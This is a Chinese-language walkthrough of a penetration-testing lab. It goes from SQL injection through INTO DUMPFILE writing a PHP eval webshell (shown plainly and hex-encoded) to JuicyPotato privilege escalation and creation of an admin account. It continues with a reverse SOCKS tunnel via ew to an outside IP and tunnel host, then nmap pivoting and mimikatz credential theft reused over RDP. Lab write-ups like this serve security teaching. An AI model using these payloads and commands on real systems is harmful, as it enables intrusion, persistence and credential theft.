内网渗透靶场测试:(一)反向代理,互联互通
1、探测是否有sql注入:
(1)从ur看, 传递了id=1这个参数;这里有可能涉及到和数据库交互,为了确认是否存在sql注入,这里故意构造and 1=2这个false的条件,看看页面返回啥:
(2)果然页面报错,说明存在sql注入,并且还有个关键信息:当前页面在C:\phpStudy\WWW\ 这个目录下;
(3)通过order by看看当前表有多少字段:order by 2是正常的,order by 3就异常了,说明有2个字段;
(4)接着看看页面有没有报错点,方便后续观察结果:
发现页面一切正常;为了不让正常的页面干扰,这里故意提供一个false条件,发现第二个字段可以在页面显示;
(5)既然确认有sql注入,这里可以尝试看看dumpfile是否开启(注意:这里是url,反斜杠\有特殊的含义,需要再写一个转义)。如果开了,可以写小马;尝试后发现页面报错,
但文件已经写进去了,下一步写小马;
(6)先构造一个写小马的语句:and 1=2 union select 666666,<?php eval($_REQUEST[8])?> into dumpfile "C:\\phpStudy\\WWW\\config.txt",发现文件生成失败;很有可能是一句话小马里面有尖括号、问号导致的,这里先转成16进制编码:注意,原始字符串编码的时候会去掉空格,这里自己要手动加个20;
构造好的部分url: and 1=2 union select 666666,0x3c3f706870206576616c28245f524551554553545b385d293f3e into dumpfile "C:\\phpStudy\\WWW\\config.txt"; 放到url执行,还是报错:
但小马已经能访问到了:
把写入文件的后缀改成php,重新生成config.php,这里能正常执行:
2、小马已成,上菜刀,成功连接:
当前用户是administrator权限,还不是system,需要提权;os是windwos server 2008 R2;
通过systeminfo,发现打了两个补丁: [01]: KB2999226 [02]: KB976902;在提权辅助网站查询了一圈,能利用的exp还不少;
这里为了提权方便,直接用一款叫做“JuicyPotato”的工具,github有下,直接通过菜刀复制到网站的根目录;菜刀的虚拟终端没法通过tab键补全,打字不方便,这里重命名成1.exe,方便使用;同样是whoami指令,用了juicypotato工具,提权成了system,对比如下:
既然提权成功,这里添加一个system权限的用户:先新建用户
再添加到管理员组:
添加成功:
3、用户已创建,接着想办法远程登陆就可以为所欲为的;
(1) 靶机大概率在内网,需要主动连接我这边。但我没有公网ip,这里找个免费提供隧道的站点,申请一个隧道做反弹连接用:
(2) 接着监听本机的6666端口,这里用另外一个工具:ew_for_win_32.exe, 执行命令:ew_for_win_32.exe -s rcsocks -l 8888 -e 6666 , 一旦在本机6666端口接收到消息,转发到8888端口;
接着让靶机访问free.qydev.com:4965这个地址,就能中转到我的8888端口了;在靶机上,用菜刀打开终端,上传ew_for_win_32.exe,执行e.exe -s rssocks -d 47.92.102.131 -e 4965 命令,让靶机主动连接隧道中转站,在通过中转站连接到我本地;在菜刀执行,提示成功(这里注意两点:用双引号,而不是单引号; 用英文输入法):
至此,靶机的反向代理终于连接到我的8888端口,真心不容易,中间来回倒腾了好几层;
继续配置socket 5代理:
通过菜刀的虚拟终端,查询到靶机内网ip: 10.0.1.4,浏览器能直接打开对方的主页:
查询ip地址也是对方的:
这次终于可以通过3389远程桌面连接上了:
以这台内网机器为跳板,继续哟弄个nmap探测内部其他主机:同一个网段,还有3、6、8这3台服务器,6和8都开了3389端口,可能存在远程登陆的机会,账号是多少了?
同一个内网,可能只有1个管理员;管理员的账号大概率是一样的,否则记不住;这里用另一款神器:猕猴桃mimikatez,直接搜索内存找账号;
administrator的账号都有了,重新用这个连接:
自己创建的账号已经断开,administrator连上:
刚才既然用猕猴桃在内存中找到了密码,并且8这台主机也开了3389端口,这里用管理员账号尝试,居然成功登陆:
总结:
1、整个过程不难,每一步的逻辑都容易理解,就是全流程很繁琐,这里整理了一下核心步骤:
2、靶机、隧道中转站、攻击机三者的转发关系如下:靶机一般都在内网,通过路由器访问公网;攻击机也是通过路由访问公网,双方都没有独立的公网ip,只能找个隧道中转;